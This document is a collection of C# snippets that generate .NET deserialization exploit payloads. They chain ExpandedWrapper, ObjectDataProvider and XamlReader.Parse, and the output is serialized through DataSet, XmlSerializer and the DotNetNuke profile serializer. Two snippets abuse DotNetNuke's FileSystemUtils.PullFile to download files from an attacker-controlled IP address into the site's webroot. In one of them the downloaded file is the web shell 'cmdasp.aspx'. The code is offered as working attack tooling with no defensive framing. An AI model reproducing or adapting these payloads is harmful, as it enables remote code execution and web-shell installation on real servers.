static void testDataSetSerialize() { DataTable exptable = new DataTable("exp table"); DataColumn dc = new DataColumn("ObjectDataProviderCol"); dc.DataType = typeof(ExpandedWrapper <XamlReader, ObjectDataProvider>); exptable.Columns.Add(dc); DataRow row = exptable.NewRow(); ExpandedWrapper <XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper <XamlReader, ObjectDataProvider>(); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); //wrapper.ProjectedProperty0.ObjectType = typeof(TestClass); wrapper.ProjectedProperty0.MethodName = "Parse"; wrapper.ProjectedProperty0.MethodParameters.Add(payloadXml); row["ObjectDataProviderCol"] = wrapper; exptable.Rows.Add(row); DataSet ds = new DataSet("poc"); ds.Tables.Add(exptable); using (var writer = new StreamWriter("./test.xml")) { ds.WriteXml(writer, 0); } }
public static void Serialize(String fileName) { ExpandedWrapper <FileSystemUtils, ObjectDataProvider> myExpWrap = new ExpandedWrapper <FileSystemUtils, ObjectDataProvider>(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new FileSystemUtils(); myExpWrap.ProjectedProperty0.MethodName = "PullFile"; /*myExpWrap.ProjectedProperty0.MethodParameters.Add("http://192.168.2.238/myODPTest.txt"); * myExpWrap.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/PullFileTest.txt");*/ myExpWrap.ProjectedProperty0.MethodParameters.Add("http://192.168.2.238/" + fileName); myExpWrap.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/" + fileName); Hashtable table = new Hashtable(); table["myTableEntry"] = myExpWrap; String payload = XmlUtils.SerializeDictionary(table, "profile"); TextWriter writer = new StreamWriter("C:\\Users\\Public\\ExpWrap.txt"); writer.Write(payload); writer.Close(); Console.WriteLine("Done!"); }
public static object Payload(string filepath) { ExpandedWrapper <XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper <XamlReader, ObjectDataProvider>(); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new XamlReader(); eobj.ProjectedProperty0.MethodName = "Parse"; eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath)); return(eobj); }
// XamlReader + ObjectDataProvider + ExpandedWrapper 序列化, 生成paylaod public static void serializeObjectWithXmlSer() { ExpandedWrapper <XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper <XamlReader, ObjectDataProvider>(); wrapper.ProjectedProperty0 = new ObjectDataProvider(); wrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); //wrapper.ProjectedProperty0.ObjectType = typeof(TestClass); wrapper.ProjectedProperty0.MethodName = "Parse"; wrapper.ProjectedProperty0.MethodParameters.Add(payloadXml); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper <XamlReader, ObjectDataProvider>)); TextWriter fo = new StreamWriter("./xmlser.txt"); serializer.Serialize(fo, wrapper); fo.Close(); }
public static void Serialize() { ExpandedWrapper <FileSystemUtils, ObjectDataProvider> tooManyWraps = new ExpandedWrapper <FileSystemUtils, ObjectDataProvider>(); tooManyWraps.ProjectedProperty0 = new ObjectDataProvider(); tooManyWraps.ProjectedProperty0.ObjectInstance = new FileSystemUtils(); tooManyWraps.ProjectedProperty0.MethodName = "PullFile"; tooManyWraps.ProjectedProperty0.MethodParameters.Add("http://192.168.111.147:80/cmdasp.aspx"); tooManyWraps.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/cmdasp.aspx"); Hashtable table = new Hashtable(); table["stevesTable"] = tooManyWraps; String payload = XmlUtils.SerializeDictionary(table, "profile"); TextWriter writer = new StreamWriter("C:\\Users\\Public\\PullFile.txt"); writer.Write(payload); writer.Close(); Console.WriteLine("Done!"); }